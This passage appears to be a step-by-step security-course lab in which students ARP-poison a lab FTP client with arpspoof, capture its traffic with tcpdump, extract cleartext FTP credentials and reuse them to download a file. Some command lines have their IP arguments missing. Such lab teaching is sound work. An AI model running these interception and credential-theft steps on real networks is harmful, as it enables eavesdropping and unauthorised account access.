Yes is called ‘Request Spoofing’, but it sends Replies. Who are you going to be attacking? For online students: Online students will be attacking Victim FTP Client 172.20.0.108 Victim FTP Server 172.20.0.110 Your Victim FTP Server is already connecting to the FTP server. For CTU students: Let's use our program again to find out who you will be attacking (Check the file /data/class-7-who-to-attack.txt after the teacher creates it): :~$ # Sebastian will run this program, not CTU students :~$ python3 class7-pair-ftp-ips.py 172.20.0.0/24 To Attack Attacker Source IP Destination IP ======================================= 172.20.0.4 172.20.0.2 172.20.0.3 172.20.0.5 172.20.0.3 172.20.0.4 172.20.0.2 172.20.0.4 172.20.0.5 172.20.0.3 172.20.0.5 172.20.0.2 Start the Traffic Capture (15:08, 3m) We will capture and store packets of our attack to store, later analyze, and see what we are stealing. It is always a good security practice to capture your traffic when you attack. Just in case, be sure you are not inside any existing tmux; you can do CTRL-B D again to exit if you are unsure. All students: Create a new Tmux session: This is in your main docker, both for CTU and Online. tmux new -t capture Run tcpdump to capture and store packets: tcpdump -n -s0 -A -tttt -v -w /tmp/poison-capture.pcap arp or $src host and dst host $ Be careful to escape the parenthesis with \ Replace with the IP of the Victim FTP client Replace with the IP of Victim FPT server. Detach from the Tmux session: CTRL-B D Start the traffic monitor (15:11, 2m) We will capture packets of our attack to see what is happening in real time. Create a new Tmux session: tmux new -t monitor Run tcpdump to capture packets: tcpdump -n -s0 -A -tttt arp or $src host and dst host $ Be careful to escape the parenthesis with \ Replace and Detach from the Tmux session: CTRL-B D Let's ARP poison!!! FINALLY (15:13, 3m) We will use a tool called arpspoof# from the old dsniff# suite to do the ARP poison attack. Create a new Tmux session: tmux new -t attacker Install dsniff on your dockers: apt install dsniff -y Run arpspoof to redirect packets from the Victim FTP Client IP that are intended for the Victim FTP Server. arpspoof -i eth0 -t CTRL-B D Check if the ARP Poison Attack Worked (15:16, 3m) How do we know that the ARP spoofing worked? Let's check our network traffic monitoring Tmux session. Attach to the Tmux monitoring session: tmux a -t monitor If you see any packet, then it worked!!! Now you can leave the monitor session: CTRL-B D Access the pcap in /tmp to see the content: strings -n 10 /tmp/poison-capture.pcap Abuse the credentials (15:19, 3m) We conducted an ARP poison attack to redirect the traffic from the victim FTP client. This attack was successful, and we found credentials! With these newly found credentials, we can move laterally to a new IP: From your current docker: apt install ftp (if needed) ftp ftp://pepito:pepito12@ get secret.txt CTRL-D cat secret.txt Recap: Lateral Movement is a crucial part of any APT attack to move into other computers and do your goals. There are many techniques. Is hard to do and hard to detect. Clean Up (15:22, 1m) Now the hands-on lab exercise is done, let's clean up and make room for the next one! For Online students, first do ssh -o UserKnownHostsFile=/dev/null root@172.20.0.108 For all: tmux a -t ftp-client CTRL-C CTRL-D Online students get out of FTP Client SSH with CTRL-D tmux a -t monitor CTRL-C CTRL-D tmux a -t capture CTRL-C CTRL-D tmux a -t attacker CTRL-C (only once) WAIT for the ARP Cache to be fixed… CTRL-D TIP: If you create many Tmux sessions with the same name, you may have issues attaching to them using only the name. List them and then put the whole name of the session, including the number: List all Tmux sessions with tmux ls tmux ls monitor-1: 1 windows (created Tue Nov 5 15:39:07 2024 monitor-4: 1 windows (created Tue Nov 5 19:07:08 2024) Attack to a session: tmux a -t monitor-1